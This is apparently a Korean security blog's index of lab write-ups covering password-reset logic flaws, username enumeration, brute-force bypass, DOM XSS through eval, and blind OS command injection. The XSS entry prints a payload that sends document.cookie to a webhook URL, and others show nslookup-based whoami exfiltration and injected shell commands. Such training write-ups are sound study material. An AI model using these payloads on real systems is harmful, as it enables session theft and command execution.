반응형

웹해킹 17

Lab: Password reset broken logic 문제 풀이(WriteUp)

문제 설명패스워드 리셋 기능에서 취약점이 존재한다. 이를 이용하여 carlos의 계정에 로그인하면 문제가 해결된다.문제 풀이로그인 페이지에 접속하면 로그인 기능과 패스워드 찾기 기능이 존재한다. 먼저 로그인을 수행한다. 로그인에 성공하면 My Account 페이지에 접근된다. forgot-password 페이지에 접근하면 입력창에 username 또는 email을 입력 받는다. 이메일을 확인하면 비밀번호 재설정 링크가 존재한다. 해당 링크를 클릭한다. 비밀번호 재설정 링크 접속 시 비밀번호를 변경할 수 있다. 비밀번호를 1234로 재설한 한 후 패킷 확인 결과 username 파라미터에 사용자 계정인 wiener이 존재한다. username 파라미터를 carlos로 변경하여 전송한다. carlos:123..

Lab: Username enumeration via account lock 문제 풀이(WriteUp)

문제 설명브루트 포스 공격을 통해 주어진 사용자 이름과 비밀번호로 로그인에 성공하면 문제가 해결된다.문제 풀이로그인 페이지에 접근한 후 로그인 요청을 수행한다. 버프스위트 Intruder 기능을 사용하여 브루트 포스 공격을 시도한 결과 arkansas 계정만 로그인이 1분 지연이 되었다. 이를 통해 해당 계정이 존재하는 것을 유추할 수 있다. password 브루트 포스 공격을 수행한다. 응답 결과에서 1분 지연에 대한 내용을 제외하고 확인한 결과 password가 tigger일 경우에만 아무런 에러 값이 존재하지 않는다. arkansas:tigger로 로그인한 결과 로그인에 성공하여 문제를 해결하였다.

Lab: Broken brute-force protection, IP block 문제 풀이(WriteUp)

문제 설명브루트 포스 공격을 통해 피해자의 계정에 로그인하면 문제가 해결된다.문제 풀이로그인 페이지에 접근한 후 로그인 요청을 수행한다. 로그인을 여러번 시도 후 로그인에 실패할 경우 1분동안 로그인을 할 수 없다. 하지만 로그인 실패와 성공을 번갈아서 하면 차단당하지 않는 다는것을 발견하였다. 이를 적용해 브루트 포스 공격 페이로드를 제작하였다.해당 코드를 통해 아이디와 패스워드 리스트를 생성하였다.def create_username_list(): for i in range(200): with open("username.txt", "a") as fa: fa.write("wiener\n") fa.write("carlos\n")def create_n..

RootMe - XSS DOM Based - Eval WriteUp

문제 풀이계산기 웹사이트 존재 사용자의 입력 값이 eval 함수 안에 삽입된 후 그 결과가 innerText로 들어가게 된다. 계산기 입력받는 값에서 정규식이 존재( /^\d+[\+|\-|\*|\/]\d+/)1. 숫자로 시작2. 숫자뒤에 +, -, *, / 와야 함3. 계산식 뒤에 숫자가 와야 함 위 정규식에 허점이 존재, 1+1 다음에 아무런 값이 올 수 있음 eval에서 ,를 사용해서 여러개의 자바스크립트 코드 실행이 가능하다. POC아래 코드 실행 시 webhook사이트로 cookie값을 전송할 수 있다.eval(1+1, location.href="https://webhook.site/a0a45cf9-b23f-44e7-a80c-0744cad0a729?c=".concat`${document.cooki..

WEB hacking/rootme 2025.02.19

Lab: Blind OS command injection with out-of-band data exfiltration 문제 풀이(WriteUp)

문제 설명DNS 쿼리를 통해 whoami 결과 확인문제 풀이문제 접속 후 Submit feedback 접근 피드백 양식에 맞게 작성 후 요청 피드백 요청 시 email 파라미터에 || 추가 후 Command 삽입nslookup `whoami`.주소 를 통해 whoami의 결과 값을 포함하여 DNS 질의 도메인 이름 앞부분에 whoami 결과가 담겨져서 요청이 오게 됨

Lab: Blind OS command injection with out-of-band interaction 문제 풀이(WriteUp)

문제 설명Command Injeciton을 통해 Burp Collaborator에 DNS 조회문제 풀이문제 접속 후 Submit feedback 접근 피드백 양식에 맞춰 작성 후 요청 피드백 요청 시 email 파라미터에 || 후 Command 명령어를 삽입하여 DNS 질의DNS 질의시 test. 추가하여 앞에 데이터를 전송할 수 있음 burp Collaborator 확인 시 요청 응답 성공 확인

Lab: Blind OS command injection with output redirection 문제 풀이(WriteUp)

문제 설명/var/www/images/ 경로에 쓰기가 가능하며, whoami 명령어의 결과를 확인해야함문제 풀이문제 웹 사이트 접근 후 Submit feedback 클릭 피드백 양식에 맞게 작성 후 피드백 요청 피드백 요청시 응답에 아무런 결과도 없음 email 파라미터에 '(싱글쿼터) 삽입 시 500에러 발생 || 뒤에 Command 명령어 삽입 후 200 OK 응답 확인 이미지 경로 확인 후 접근 이미지 경로에서 filename 파라미터를 test로 변경하여 접속이 성공되었고, burp에서 Command 명령어가 실행된 것을 확인할 수 있음 burp로 확인 시 test 응답 결과 확인 가능 whoami 명령어를 리다이렉트 시켜 /var/www/images/whoami.txt 파일로 저장 whoami...

Lab: OS command injection, simple case 문제 풀이(WriteUp)

문제 설명OS Command Injection을 통해 whoami 명령어를 사용하면 문제 해결 가능 문제 풀이문제 접속 화면 메인 페이지에서 View details 접속 후 재고 확인 시 남은 재고 출력 재고확인 요청 패킷에서 productId, storeId 파라미터 요청 파라미터에 '(싱글 쿼터) 삽입 시 에러 발생, 에러를 통해 사용자의 입력 값이 Command 명령어에 사용됨을 확인 storeId 파라미터에 ;ls; 명령어를 사용하여 추가적인 Command 공격 사용, 그 결과 응답 값에 ls 명령어의 결과가 반환됨 cat 명령어를 통해 stockreport.sh 파일을 확인한 결과 $1, $2를 통해 2개의 인자를 받고 있음$1은 productId, $2는 storeId임을 추측 가능 인자를 받..

반응형